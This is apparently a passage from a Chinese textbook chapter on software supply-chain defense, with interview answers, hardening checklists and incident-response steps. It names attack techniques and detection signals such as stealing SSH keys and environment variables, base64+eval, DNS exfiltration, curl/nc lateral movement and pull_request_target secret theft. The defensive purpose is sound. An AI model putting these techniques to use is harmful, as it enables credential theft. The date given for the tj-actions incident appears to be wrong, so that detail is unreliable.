① "这个清单我现在能给你,但花了 6 小时。
   如果我们有 SBOM,10 分钟就能出。
   → 我建议把 SBOM 作为本次事件的第一个改进项。"

② "这个清单可能不全 —— 我只扫了代码仓库和镜像,
   如果有服务是从别的途径部署的(比如手工上传的 jar),我扫不到。
   → 我需要确认部署流程的完整性。"

③ "出清单只是第一步。接下来要做可利用性判断,排出 P0/P1/P2,
   否则 37 个系统一起修,资源会分散,真正危险的反而修不完。"

I25. 怀疑攻击者在我们公司 npm 私服上投毒了,怎么排查影响范围?

★ 答题要点:这道题的关键是三个“不知道” —— 不知道哪个包有毒、不知道什么时候开始的、不知道谁装过。要有方法论。

【第一步】确定"哪个包有问题"(0~2 小时)

  如果有明确情报(如某包被官方下架):直接用
  如果没有(只是"怀疑"):
    ① 拉出私服里所有包 + 版本 + 首次缓存时间 + 哈希
    ② 用 osv-scanner / GuardDog / Socket 全量扫一遍
    ③ ★ 重点看这几类异常:
        - 最近 30 天内【新出现】的包(之前没有的)
        - 某个包突然【版本跳跃】(1.2.3 直接跳到 2.0.0)
        - 维护者信息变化的包
        - ★ 有 postinstall 但包本身是纯计算型的

【第二步】确定"什么时候开始的"(关键,决定影响窗口)

  从私服日志里找:
    ① 这个包第一次被缓存的时间(= 最早可能中毒的时间)
    ② 这个版本的发布时间(如果晚于官方发布时间 → ★ 高度可疑,
       可能是有人重新上传的)
  ★ 影响窗口 = [第一次缓存时间, 现在]

【第三步】确定"谁装过"(★ 最难的一步)

  ① 从 lockfile 反查(最准确)
     git log -p --all -- '**/package-lock.json' | grep <包名>
     → 找出哪些仓库的 lockfile 里出现过这个包的这个版本

  ② ★ 从 CI 日志反查(如果 lockfile 已被改过)
     搜构建日志里的 <包名>@<版本>

  ③ ★ 从镜像反查(最可靠,因为镜像是不可变的)
     扫所有镜像的 node_modules:
     for img in ...; do
       docker run --rm --entrypoint="" $img \
         sh -c 'cat /app/package-lock.json 2>/dev/null | grep <包名>'
     done

  ④ 从运行时反查(★ 兜底,最准确但成本高)
     kubectl exec 到每个 Pod,看 node_modules 里的实际版本
     ★ 这是唯一能确认"生产上实际跑的是哪个版本"的方法

【第四步】确定"造成了什么后果"

  ① 有没有执行过?(看这个包有没有 postinstall,以及 CI 有没有禁用脚本)
  ② 有没有外传?(出口流量日志里有没有它的 C2 域名/IP)
  ③ 偷走了什么?(假设所有 CI 环境变量都泄露)

【第五步】处置(同 I20 的流程)
  轮换凭据 → 清理私服缓存 → 从干净源码重建 → 重新部署

★ ★ 本题的加分点(很多人答不出来):
  清理私服缓存时,要【同时】清理:
    ① 私服的 proxy 缓存(9.6.3,否则会持续中毒)
    ② CI 的依赖缓存(actions/cache、~/.npm)
    ③ Docker 的构建层缓存
    ④ 开发者本机的 node_modules
  ★ 只清一处是不够的 —— 恶意代码会从没清干净的缓存里"复活"

I26. 一个 20 人的小团队,预算有限(不能买商业工具),供应链安全该做哪些?

★ 答题要点:考察优先级判断和用免费方案解决问题的能力。

【第 0 周:零成本止血(改配置,不花钱)】

  ① CI 改用 npm ci / --frozen-lockfile / --require-hashes
     成本:改一行配置
     价值:★ 挡住最大的入口

  ② 部署用 digest 不用 tag
     成本:改清单
     价值:挡住制品被替换

  ③ 云密钥改 OIDC(GitHub Actions / GitLab CI 都原生支持,免费)
     成本:配一次信任策略(半天)
     价值:★ 恶意代码偷到的东西 1 小时失效

  ④ .npmrc 加 ignore-scripts(或 allowScripts 白名单)
     成本:改配置
     价值:★ 挡住 90% 的恶意包执行

  ⑤ .github/ 加 CODEOWNERS
     成本:5 分钟
     价值:workflow 变更必须 review

【第 1 月:免费工具链】

  ⑥ SBOM:syft(免费开源)
     syft dir:. -o cyclonedx-json > sbom.json
     → 存到 git 或对象存储,出事时 jq 查

  ⑦ 漏洞扫描:
     - osv-scanner(Google,免费,多语言)
     - trivy(Aqua,免费,镜像 + 依赖)
     - ★ 不用买 Snyk

  ⑧ 恶意包行为检测:GuardDog(Datadog 开源)
     guarddog npm verify package.json
     → ★ 免费版就能挡住大部分已知恶意包模式

  ⑨ 密钥泄露检测:gitleaks(免费)
     在 pre-commit + CI 里跑

  ⑩ 容器镜像:
     - trivy image 扫描
     - hadolint 检查 Dockerfile
     - ★ 用 distroless 基础镜像(免费)

【第 2~3 月:流程】

  ⑪ 依赖更新策略:Renovate(免费)
     ★ 关键配置:"minimumReleaseAge": "3 days"
     → 让社区先趟雷,躲过"刚发布就被抓"的投毒

  ⑫ PR 模板加"新增依赖检查清单"(9.2.3 的 10 项)

  ⑬ 每季度半天"依赖治理日"

【不做的(明确说出来,体现判断力)】

  ✗ 不买商业 SBOM 平台(用 jq + git 存 SBOM 就够了,20 人团队规模不需要平台)
  ✗ 不做 SLSA L3(成本远超收益)
  ✗ 不做 100% 依赖审查(数学上不可能)
  ✗ 不做可复现构建(除非有强合规要求)
  ✗ 不自建 Sigstore(用公共实例,免费的)

★ 排序原则(讲出来):
  ① 先做【零成本的配置类改动】—— 性价比最高
  ② 再用【免费开源工具】搭起基础能力
  ③ 最后才是流程和文化
  ④ ★ 兜底措施(限制爆炸半径)优先于检测措施

I27. 大客户要求我们提供 SBOM 和 SLSA L3 证明,我们目前只做到 L1,怎么办?

★ 答题要点:这是实战沟通题。要点是:不要撒谎、不要硬承诺、给出可验证的路线图,并且要理解客户真正在意的是什么。

【第一步:搞清楚客户真正要什么】(★ 很多人直接跳到"我们做不到")

  客户(或者客户的合规部门)要 SLSA L3,通常有三个可能的真实诉求:
    ① 【合规硬性要求】:他们的采购流程要求(如美国行政令 14028)
       → 这个没得谈,必须做
    ② 【风险评估】:他们想确认"你们不是 SolarWinds 那种水平"
       → 可以用其他证据替代
    ③ 【采购压价/条款模板】:法务直接套的模板,其实没人真懂
       → 可以沟通,用等效方案替代

  ★ 所以第一步不是回答"做不做得到",而是问:
    "想确认一下,这个要求是针对哪类合规标准?
     我们想确保提供的材料能真正满足你们的审核要求。"

【第二步:诚实说明现状 + 给出路线图】

  ✗ 错误做法一:直接说"我们已经达到 L3"(撒谎,审计会被戳穿,且是法律风险)
  ✗ 错误做法二:说"做不到"(直接出局)
  ✅ 正确做法:给【现状 + 差距 + 计划 + 时间表】

  参考话术:

  "我们目前构建轨道达到 SLSA L2 的部分要求:
     - 已实现:每次构建自动生成 provenance 并用 Sigstore 签名(L1+L2 的核心)
     - 已实现:所有制品通过托管 CI 构建,禁止人工本机发布(L2 要求)
     - 差距:构建步骤间的完全隔离和 provenance 由平台可信组件生成(L3 要求),
             我们正在做,预计 Q3 完成
     - 差距:可复现构建,我们计划先在核心加密组件上做

   这是我们的路线图(附文档),以及当前的第三方验证报告。
   如果时间上来不及,我们可以先用【补偿性控制措施】满足你们的风险要求。"

【第三步:提供补偿性控制(★ 这是关键,让客户有台阶下)】

  如果达不到 L3,可以证明"虽然没到 L3,但风险是等价受控的":

    ① 制品签名 + 部署前强制验签(Kyverno 准入控制)
       → 证明"跑在生产的东西确实是我们签的"
    ② ★ 完整的构建审计日志(且日志不可篡改、留存 1 年)
       → 证明"每一步都可追溯"
    ③ 第三方渗透测试报告
    ④ SOC 2 Type II / ISO 27001 认证(如果有的话)
    ⑤ ★ 可复现构建(在核心组件上)
       → 这个虽然不是 L3 的强制项,但说服力很强
    ⑥ 漏洞响应 SLA 承诺(critical 24 小时、high 7 天)

【第四步:把要求变成内部项目】

  不管这次谈成没谈成,客户提的要求都是免费的改进方向:
    ① 评估做到 L3 的真实成本(通常是 1~2 人月 + 平台改造)
    ② 排期,给客户一个明确时间点
    ③ ★ 在合同里写"分阶段达成",而不是一次性承诺

★ ★ 本题的核心洞察(讲出来很加分):

  "合规要求的本质是【让客户能评估和管理他们的供应链风险】,
   不是为了拿一个证书。

   所以应对方式不是'我们达标了',而是:
     ① 诚实说明现状(撒谎的代价远大于丢单)
     ② 用可验证的证据替代(签名、日志、第三方报告)
     ③ 给出明确的时间表

   实际经验里,大部分客户在看到【诚实的现状 + 清晰的路线图 + 补偿性控制】之后,
   是能接受分阶段达成的 —— 他们真正怕的是'我不知道你们什么水平'。"

9.9.4 追问链(I28~I30)

这三组是面试官连续追问的模拟。每题都是顺着上一题往下问,考察你的知识边界和理解深度。


I28. 供应链攻击 10 连问

Q1: 供应链攻击和传统攻击最本质的区别是什么?
A:  传统攻击利用漏洞,供应链攻击利用【信任】。
    攻击者不是门外的陌生人,是你自己 npm install 请进来的。
    → 防御思路从"堵漏洞"变成"验证来源 + 限制权限 + 缩小爆炸半径"。

Q2: 那具体怎么"验证来源"?
A:  三层:
      ① 入口:lockfile 锁版本 + 哈希,私服白名单,scope 隔离
      ② 构建:SLSA provenance(记录这个制品是怎么造出来的)
      ③ 来源:cosign 签名(证明是"我们"造的,且中途没被换)

Q3: 签名能防住 SolarWinds 那种攻击吗?
A:  不能。SolarWinds 的后门是【用合法证书签名】的。
    签名只证明"持有这家公司私钥的人签了",不证明"构建过程是干净的"。
    → 这就是为什么要 SLSA:它关心的是构建过程是否可审计、是否防篡改。

Q4: 那 SLSA L3 能防住吗?
A:  能防住"攻陷构建机后批量投毒"这一类(要求构建隔离、provenance 由平台可信组件生成)。
    但防不住源码本身有问题 —— 比如维护者自己植入后门。

Q5: 源码有问题怎么发现?
A:  两条路:
      ① 人工:code review、CODEOWNERS、双人复核(防内鬼)
      ② ★ 技术:可复现构建 —— 我拿你的 git 源码自己编一遍,
         和你的发布包逐字节比对。对不上 = 发布包里有源码之外的东西。
         xz-utils 后门就是这个思路才能发现(后门只在发布 tarball 里,git 里是干净的)。

Q6: 可复现构建很难做吧?
A:  对。要消除六大干扰:时间戳、文件路径、文件顺序、依赖版本、工具版本、随机数。
    成本排序:lockfile + 容器固定环境(最便宜,收益最大)
             → SOURCE_DATE_EPOCH + 去路径
             → 完整可复现(成本高,只给高价值组件做)。

Q7: 那日常我们用什么挡住恶意包?
A:  行为检测。恶意包有十二个特征(读 SSH 私钥、读环境变量、base64+eval、
    下载执行、DNS 外传、沙箱探测等)。
    工具:Socket.dev(最强,商业)、GuardDog(开源)、自建 YARA 规则。

Q8: 扫描器能挡住刚发布的恶意包吗?
A:  ★ 基本不能。恶意包从发布到下架平均几天到几周,
    而中毒往往发生在发布后的头几个小时。
    → 所以"延迟升级"很有效:Renovate 的 minimumReleaseAge: '3 days',
      让社区先趟雷。

Q9: 那 Dependabot 自动合并是不是很危险?
A:  是的,它是"供应链风险放大器"。攻击者发个恶意版本,
    凌晨 3 点自动合并自动部署,早上你只看到一条"绿色通过的依赖更新"。
    → 正确配置:自动提 PR 但不自动合并 + 延迟升级。

Q10: 如果这些都防不住,最后靠什么?
A:  ★ 兜底:限制爆炸半径。
      ① 构建机不给长期密钥(OIDC 临时凭证)
      ② 构建机限制外网出口(偷了也传不出去)
      ③ 非 root + 只读文件系统
      ④ 生产准入控制(未签名的镜像不许部署)
    ★ 前几层都有绕过方法,只有"环境本身的限制"是攻击者绕不过去的。
      这是我排优先级时把兜底措施放在前面的原因。

I29. SBOM 与检测 8 连问

Q1: SBOM 是什么?
A:  软件物料清单,你软件里所有组件的"配料表"。

Q2: 有什么用?
A:  最主要的是【漏洞应急响应】。
    Log4Shell 时,有 SBOM 的团队 10 分钟出清单,没 SBOM 的通宵 grep 3~7 天。

Q3: SPDX 和 CycloneDX 怎么选?
A:  合规用 SPDX(ISO 国际标准,许可证字段全),安全用 CycloneDX(原生支持 VEX 和漏洞)。
    可以互转,很多公司两种都生成。

Q4: SBOM 里最重要的字段是什么?
A:  ★ PURL(Package URL),如 pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1。
    全球唯一标识,让 SBOM / 漏洞库 / 扫描器 / 治理平台能自动联动。

Q5: 生成了 SBOM,接了扫描器,为什么开发不看告警?
A:  因为 90% 是误报(代码路径走不到、平台不匹配、需要本地 shell 才能利用)。
    → 告警疲劳 → 真正的告警也被淹没 → 等于没有 SBOM。

Q6: 怎么解决?
A:  VEX。由供应商声明"这个 CVE 在我产品里到底影不影响",
    状态有四种:not_affected / affected / fixed / under_investigation。
    ★ 填 not_affected 时必须从五种标准 justification 里选一个(没理由的声明不可信)。

Q7: SBOM 能防住攻击吗?
A:  ★ 不能。SBOM 不防任何攻击,它是"出事时的地图"不是"防护墙"。
    它的价值在【响应速度】。

Q8: 那 SBOM 的五个常见误区是什么?
A:  ① 生成一次就完事 → 它会过期,必须和 CI 绑定持续更新
    ② 能防攻击 → 不能
    ③ 有商业扫描器就不需要 → 扫描器看不到自研组件和手工放进镜像的东西
    ④ 会泄露技术栈 → 分级管理(内部全量、对外脱敏),但不该因此不做
    ⑤ Excel 能维护 → 超过 20 个服务就崩溃,必须自动化

I30. CI/CD 加固 8 连问

Q1: 为什么 CI 是攻击者的首选目标?
A:  因为它是【权限最大、防护最弱】的系统:
    有全部源码、制品写权限、云凭据、kubeconfig、内网访问。
    ★ 攻陷 CI = 一次性拿到发布权限 + 生产权限 + 全部源码。

Q2: 最危险的 CI 配置是什么?
A:  pull_request_target + 检出 PR 代码 + 执行。
    → fork PR 能拿到 secrets,而代码是攻击者完全可控的
    → 互联网上任何人提个 PR 就能拿走你所有密钥

Q3: 怎么修?
A:  ① 改用 pull_request 事件(最简单)
    ② 或两步走:job1(无密钥)跑构建出 artifact,
                 job2(有密钥)只在被 maintainer 打标签后跑,且检出 main 的代码

Q4: 第三方 Action 有什么风险?
A:  ① Action 运行在你的 runner 上,有同等权限
    ② ★ 用 tag 引用(@v1)时,tag 可变 —— 攻击者攻陷作者账号后可重新指向
    ③ 很多是个人维护,无人审计
    → 真实事件:2023 年 tj-actions/changed-files 被入侵,窃取了大量用户 CI 凭据

Q5: 怎么防?
A:  ★ 用完整 40 位 SHA pin,不用 tag/分支。
    加上 Dependabot 自动维护 + 组织级 Action 白名单 + 最小权限 permissions。

Q6: CI 里的云密钥怎么管?
A:  ★ OIDC 联邦,不用长期 access key。
    CI 每次运行自报家门,云厂商验证后发 1 小时的临时凭证。
    → 恶意脚本偷到的东西 1 小时后失效

Q7: 配 OIDC 最容易犯什么错?
A:  ★ sub 条件用通配符(如 repo:acme/*)。
    → 组织下任何一个仓库(包括实习生 demo)都能拿到生产部署权限
    → 正确:精确到仓库 + 分支/environment

Q8: 除了这些,还有什么容易漏的?
A:  ① 缓存投毒:fork PR 写入毒缓存,main 分支后来读到
        → 措施:save-always 只在内部 PR 为 true + 缩小缓存目录
     ② 脚本注入:run 里内插 PR 标题/分支名
        → 措施:用 env 传递,脚本里用 $VAR
     ③ Self-hosted runner 跨 job 污染 + 持久化 + 内网横向
        → 措施:ephemeral runner + 网络限制 + 可信/不可信 runner 分离
     ④ 日志里打印密钥
        → 措施:关掉 set -x,敏感变量显式 unset

9.10 第九章小结

9.10.1 五条核心认知

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知一:供应链攻击利用的是【信任】,不是【漏洞】
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  传统攻击:攻击者在门外,你的系统默认不信任他
  供应链攻击:攻击者站在门里,是你 npm install 请进来的

  → 所以防御思路完全不同:
    传统攻击【堵漏洞】
    供应链【验证来源 + 限制权限 + 缩小爆炸半径】

  ★ 你无法保证上游不出事(xz-utils 的维护者被社工了两年),
    你只能保证:
      ① 出事了我第一时间知道(SBOM + 监控)
      ② 它拿不到我的密钥(OIDC 临时凭证)
      ③ 它就算执行了也连不出去(出口白名单)
      ④ 它进不了我的生产环境(签名 + 准入控制)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知二:★ 兜底措施(限制爆炸半径)比检测措施更可靠
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  检测类措施(扫描器、行为分析、YARA 规则):
    ✗ 有滞后性:恶意包从发布到下架平均几天到几周,
                而中毒发生在发布后的头几个小时
    ✗ 有漏报:0day 投毒、精心伪装的行为,工具查不到

  兜底措施(环境限制):
    ✓ 无滞后:从第一天就生效
    ✓ 无漏报:不管攻击手法多新,它都得遵守运行环境的基本规则
    ✓ 攻击者绕不过去:他可以改变自己的代码,但改变不了你的环境

  ★★ 所以排优先级时,兜底措施优先于检测措施:
      先做"无密钥 + 无外网 + 非 root + 只读文件系统",
      再买扫描器。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知三:CI/CD 是"权限最大、防护最弱"的系统
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  一台 CI 构建机上通常有:
    全部源码 + 制品写权限 + 云凭据 + kubeconfig + 内网访问

  ★ 攻陷 CI = 一次性拿到【发布权限 + 生产权限 + 全部源码】

  而防护往往最弱:
    - workflow 变更经常没有 review
    - 第三方 Action 随便引用
    - 密钥明文存在 secrets 里
    - 构建机常年不重装

  ★★ 两个"改一行配置就能挡住一大类攻击"的措施:
      ① CI 用 npm ci(不是 npm install)
      ② 云密钥改 OIDC(不是长期 access key)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知四:SBOM 解决"我有什么",VEX 解决"哪些是真问题"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  只做 SBOM 的结局:
    生成 SBOM → 接扫描器 → 3847 个告警 → 没人看 → 等于没做

  ★ 告警疲劳是 SBOM 项目的头号杀手

  VEX 的作用:由供应商声明"这个 CVE 在我产品里到底影不影响"
    四种状态:not_affected / affected / fixed / under_investigation
    ★ 填 not_affected 时必须给出标准 justification(否则不可信)

  ★ 完整链路:SBOM(我有什么)→ 扫描(有哪些 CVE)→ VEX(哪些是真问题)
             → SLA(多久修)→ 重新生成 SBOM(确认归零)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知五:★ 供应链安全 = 优先级排序,不是"全都做"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  资源永远有限。区分高级工程师和初级的,是【知道什么先做什么后做】。

  排序三原则:
    ① 能挡住"最可能的攻击路径"的先做
       (现实中最常见的是"依赖投毒 → 偷 CI 凭据",
         所以锁版本 + OIDC 排最前)
    ② 成本收益比高的先做
       (npm ci 改一行;SLSA L3 要几个月)
    ③ 兜底优先于检测(见认知二)

  ★ 必答的"不建议做什么":
     - 不做 100% 依赖审查(数学上不可能:2000 个 × 2 小时 = 2 人年)
     - 不买商业工具做第一步(先用免费工具把基础能力建起来)
     - 不在没做"止血四件事"之前搞 SLSA L3

9.10.2 攻防速查卡:攻击手法 × 防御措施

# 攻击手法 关键原理 ★ 最有效的防御 兜底措施
1 Typosquatting 注册相似名字,赌手滑 Lockfile + npm ci + 私服白名单 IDE 插件 + 依赖审批
2 依赖混淆 公网注册同名高版本包 ★ scope / groupId 前缀 + 单一源代理 哈希锁定 + 月度巡检
3 账号劫持 钓鱼/撞库拿到维护者账号 ★ 延迟升级(3 天)+ 哈希锁定 运行时限制
4 社会工程接手 花 1~2 年成为维护者 ★ 延迟升级 + 依赖最小化 运行时限制 + 可复现构建
5 生命周期脚本 postinstall 自动执行 ★ --ignore-scripts + 白名单 无密钥 + 无外网 + 非 root
6 版本回滚/覆盖 重新上传同名同版本 npm ci + digest 锁定 + Disable Redeploy lockfile diff review
7 锁文件绕过 CI 用 install 不用 ci ★ npm ci PR 检查 workflow 里的命令
8 D-PPE 直接改 workflow ★ CODEOWNERS + 2 人审批 Environment + Required reviewers
9 I-PPE 改脚本/Makefile/package.json 不调用仓库内脚本(内联到 workflow) fork PR 不给密钥(两步走)
10 3PPE 攻陷第三方 Action / 镜像 ★ SHA pin + 组织级白名单 最小权限 permissions
11 缓存投毒 fork PR 写毒缓存 / 私服缓存 save-always 条件 + 缓存 TTL 30 天 定期清理 + 出口监控
12 制品替换 重推同 tag 镜像 ★ digest 锁定(不用 tag) 准入控制验签
13 构建机投毒 攻陷构建系统(SolarWinds) SLSA L3(构建隔离) 部署前验签 + provenance 校验
14 源码发布不一致 后门只在 tarball(xz-utils) ★ 可复现构建(逐字节比对) 高价值组件重点做
15 容器内横向 用镜像里的 curl/bash/nc ★ distroless + 非 root + 只读根 NetworkPolicy + Falco

9.10.3 供应链安全成熟度自评表

用这张表给你的项目/公司打个分。诚实评估,不要自我美化。

级别 名称 特征(满足大部分即算达到) 典型状态
L0 无意识 用 npm install;部署用 latest 或可变 tag;CI 里有长期密钥;不知道自己有哪些依赖 ★ 大多数团队在这里
L1 止血完成 ✅ CI 用 npm ci;✅ 部署用 digest;✅ CI 密钥改 OIDC;✅ 有 lockfile 且提交到 git;✅ .github/ 有 CODEOWNERS ★ 性价比最高的一级,1~2 周可达
L2 有可见性 L1 + ✅ 每次构建生成 SBOM;✅ SBOM 能按组件反查服务;✅ 有漏洞扫描且接入告警;✅ 有 VEX 治理误报;✅ --ignore-scripts 或白名单 ★ 出事时能 1 小时答出来
L3 有控制力 L2 + ✅ 制品签名(cosign);✅ 部署前强制验签 + 准入控制;✅ 制品晋级门禁;✅ 私服白名单 + 缓存治理;✅ 行为检测(Socket/GuardDog);✅ Action 全 SHA pin ★ 恶意制品进不了生产
L4 有证明力 L3 + ✅ SLSA L2/L3 provenance;✅ 运行时检测(Falco);✅ 高价值组件可复现构建;✅ 完整的构建审计日志;✅ 定期红队演练 ★ 能满足大客户/监管要求
★ 自评建议:
  ① L0 → L1 是【必须做的】,成本 1~2 周,收益最大
  ② L1 → L2 是【高价值】,成本 1~2 月,决定了"出事时你能不能快速响应"
  ③ L2 → L3 是【防线的质变】,成本 3~6 月,让恶意制品【进不了生产】
  ④ L3 → L4 视业务需要(有合规/大客户要求才做)

★ 不要跳级:
  没做 L1 就做 L3 = 大门开着装监控

9.10.4 五份可直接使用的清单

清单一:引入新依赖的 10 项检查(PR 模板)

## 新增依赖检查(如本 PR 引入了新的第三方依赖,请填写)

**基本信息**
- [ ] 依赖名称与版本:
- [ ] 用途(为什么需要):
- [ ] 许可证:
- [ ] 是生产依赖还是开发依赖:

**必要性(★ 先回答这三个问题)**
- [ ] 1. 这个功能能用 20 行代码自己实现吗?(能 → 不要引依赖)
- [ ] 2. 现有依赖里有没有已经提供这个能力的?
- [ ] 3. 它带来多少个传递依赖?(npm ls <pkg> / mvn dependency:tree)

**健康度检查**
- [ ] 4. 最近一次发布是什么时候?(超过 2 年 = 高风险)
- [ ] 5. 周下载量 / star 数?(<1000 周下载 = 谨慎)
- [ ] 6. 维护者有几个人?(只有 1 个 = 单点风险,参考 event-stream)
- [ ] 7. 维护者是否开 2FA?最近 6 个月的 issue 有人回应吗?

**安全检查**
- [ ] 8. 有没有 postinstall / setup.py 等安装脚本?(有 = 需要额外审查)
- [ ] 9. 代码是否被混淆?(uglify 过的库代码、大量 base64 + eval = 高危信号)
- [ ] 10. 有没有已知 CVE?(osv-scanner / npm audit)

**审批**:架构师或安全接口人已 review 并批准

清单二:CI/CD 加固 20 项检查

### 权限与隔离
- [ ] 1. workflow 顶层设置 `permissions: {}`,job 级按需授权
- [ ] 2. 敏感操作(部署、发布)放独立 job,用 Environment + Required reviewers 保护
- [ ] 3. 没有使用 `pull_request_target` 检出并执行 PR 代码 ★
- [ ] 4. `.github/` 设置了 CODEOWNERS,workflow 变更强制 review ★
- [ ] 5. 公开仓库不允许 fork PR 使用 self-hosted runner ★
- [ ] 6. .github/ 目录变更需要 2 个及以上审批

### 依赖与引用
- [ ] 7. 所有第三方 Action 用完整 SHA pin ★
- [ ] 8. 配置了 Dependabot/Renovate 自动更新 Action 版本
- [ ] 9. 组织级策略限制可用 Action 范围(不是 allow all)
- [ ] 10. 使用 npm ci / --frozen-lockfile / --require-hashes ★
- [ ] 11. 配置了 --ignore-scripts 或脚本白名单 ★
- [ ] 12. Renovate 配置 minimumReleaseAge(延迟升级)★

### 密钥与凭证
- [ ] 13. 云厂商访问用 OIDC 联邦,不用长期 access key ★★
- [ ] 14. OIDC 信任策略的 sub 精确到仓库+分支(无宽泛通配符)★
- [ ] 15. secrets 只在需要的 step 注入,不在 workflow 顶层
- [ ] 16. 季度审计 secrets 的使用与轮换

### 执行与输出
- [ ] 17. 所有动态输入(PR 标题、分支名、issue 内容)用 env 传递 ★
- [ ] 18. 构建机以非 root 运行,只读根文件系统
- [ ] 19. 构建机网络出口做了白名单限制 ★
- [ ] 20. 缓存配置了 save-always 条件 + 目录最小化

(★ = 高优先级,建议第一批做)

清单三:制品与镜像安全 15 项检查

### 构建
- [ ] 1. 基础镜像用 digest 或精确版本(不用 latest)★
- [ ] 2. 使用最小化/distroless 基础镜像
- [ ] 3. 多阶段构建(构建依赖不进最终镜像)★
- [ ] 4. "安装 + 清理"在同一条 RUN 里(否则删除无效)
- [ ] 5. 清理了包管理器缓存
- [ ] 6. 有 .dockerignore,排除 .git/.env/.ssh/*.pem ★
- [ ] 7. 以非 root 用户运行(USER 指令)★
- [ ] 8. 用 exec 形式或直接执行应用(不用 shell 包装脚本)

### 密钥
- [ ] 9. ★ 没有任何密钥/token/私钥(包括 ARG 也不行,会留在 history 里)
- [ ] 10. 用 BuildKit secret mount 或运行时注入

### 制品
- [ ] 11. 每次构建生成 SBOM ★
- [ ] 12. 制品签名(cosign)+ provenance ★
- [ ] 13. 部署用 digest,不用 tag ★★
- [ ] 14. 部署前强制验签(准入控制)★
- [ ] 15. 基础镜像定期重建 + 通知下游重建 ★(最容易被漏掉)

清单四:供应链事件处置 6 阶段检查表

### 阶段 0:确认事实(0~30 分钟)
- [ ] 情报来源可靠
- [ ] 恶意版本的准确标识(包名+版本+哈希+发布时间)
- [ ] ★ 用 SBOM 精确查询受影响范围
- [ ] 影响窗口 = max(恶意版本发布时间, 我们第一次安装时间)
- [ ] 指定 IC,开战情室
- [ ] 建立时间线文档
- [ ] ★★ 这个阶段不删包、不重启(保护证据)

### 阶段 1:遏制(30 分钟~2 小时)
- [ ] ★ 阻断外传通道(封禁 C2 域名/IP,DNS 黑洞)
- [ ] ★★ 轮换所有可能泄露的凭据(假设全泄露)
- [ ] 暂停受影响流水线
- [ ] 隔离受影响服务(非核心立即、核心评估后)
- [ ] 下架受影响制品 + 清理私服缓存

### 阶段 2:排查(2~8 小时)
- [ ] 谁执行过(CI 日志、docker history、部署记录)
- [ ] ★ 数据有没有被传出去(出口流量、DNS、代理日志;没日志=按最坏情况)
- [ ] 有没有被持久化(crontab、systemd、新用户、authorized_keys、K8s 资源)
- [ ] IOC 全网扫
- [ ] 评估:泄露了什么、影响多少用户、是否触发合规上报

### 阶段 3:根除(8~12 小时)
- [ ] 升级到安全版本(或降级/换库)
- [ ] ★★ 从干净源码重建 —— 清理 CI 缓存 + Docker 层缓存 + 私服缓存
- [ ] 重新部署,用新 digest
- [ ] 清除持久化
- [ ] 重新生成 SBOM 验证归零

### 阶段 4:恢复(12~24 小时)
- [ ] 分批恢复,每批之间观察
- [ ] 加强监控至少 72 小时
- [ ] 恢复流水线(先跑非核心验证)
- [ ] 对外沟通(客户/监管/公众)

### 阶段 5:复盘(24 小时后~1 周)
- [ ] 无责复盘会
- [ ] ★ 五个"为什么"找根因(不是"为什么没检测出来")
- [ ] 改进项有 owner + deadline
- [ ] 更新应急预案
- [ ] 3 个月后桌面演练

清单五:免费工具箱(不花钱能做到的供应链安全)

用途 免费工具 一句话用法
SBOM 生成 syft(Anchore) syft dir:. -o cyclonedx-json > sbom.json
漏洞扫描(多语言) osv-scanner(Google) osv-scanner --lockfile package-lock.json
漏洞扫描(镜像) trivy(Aqua) trivy image --severity CRITICAL,HIGH <image>
恶意包行为检测 guarddog(Datadog) guarddog npm verify package.json
制品签名 cosign(Sigstore) cosign sign --yes <image>@<digest>(keyless,免费)
透明日志查询 rekor-cli 查“谁在什么时间签了什么”
密钥泄露检测 gitleaks pre-commit + CI 里跑
Dockerfile 检查 hadolint Dockerfile lint
License 检查 license-checker / pip-licenses npx license-checker --onlyAllow 'MIT;Apache-2.0'
依赖可视化 npm ls --all / mvn dependency:tree 看传递依赖
依赖更新(带延迟) Renovate(免费) minimumReleaseAge: '3 days' ★
自建行为检测 yara 写规则扫 node_modules(9.8.3)
Workflow 审计 自写脚本(9.5.6) python workflow_audit.py /path/to/repo
运行时检测 falco(CNCF) 检测容器里的异常行为
SBOM 治理平台 Dependency-Track(OWASP,开源) 自建 SBOM 平台,支持 VEX
K8s 准入控制 Kyverno / Sigstore Policy Controller 拒绝未签名镜像

9.10.5 五句话记忆法

① 【供应链攻击的本质】
   "攻击者不打你的城堡,他在给你的建材里下毒,
    然后由你自己把有毒的砖砌进城墙。"

② 【防御的三层拦截】
   "入口拦截(lockfile + 私服白名单)
    → 执行拦截(--ignore-scripts)
    → ★ 效果拦截(无密钥 + 无外网 + 非 root)
    前两层都能绕过,第三层绕不过 —— 所以第三层最可靠。"

③ 【CI 为什么危险】
   "CI 是权限最大、防护最弱的系统。
    攻陷 CI = 一次拿到发布权限 + 生产权限 + 全部源码。
    两个改一行配置就有效的措施:npm ci、OIDC。"

④ 【SBOM 与 VEX】
   "SBOM 是配料表,回答'我有什么';
    VEX 是质检声明,回答'这些告警里哪些是真问题'。
    只做 SBOM 不做 VEX = 3847 条告警没人看 = 等于没做。"

⑤ 【优先级】
   "兜底优先于检测,止血优先于加固,判断力体现在'不做什么'。
    2000 个依赖 × 2 小时 = 2 人年 —— 全量审查在数学上不可能,
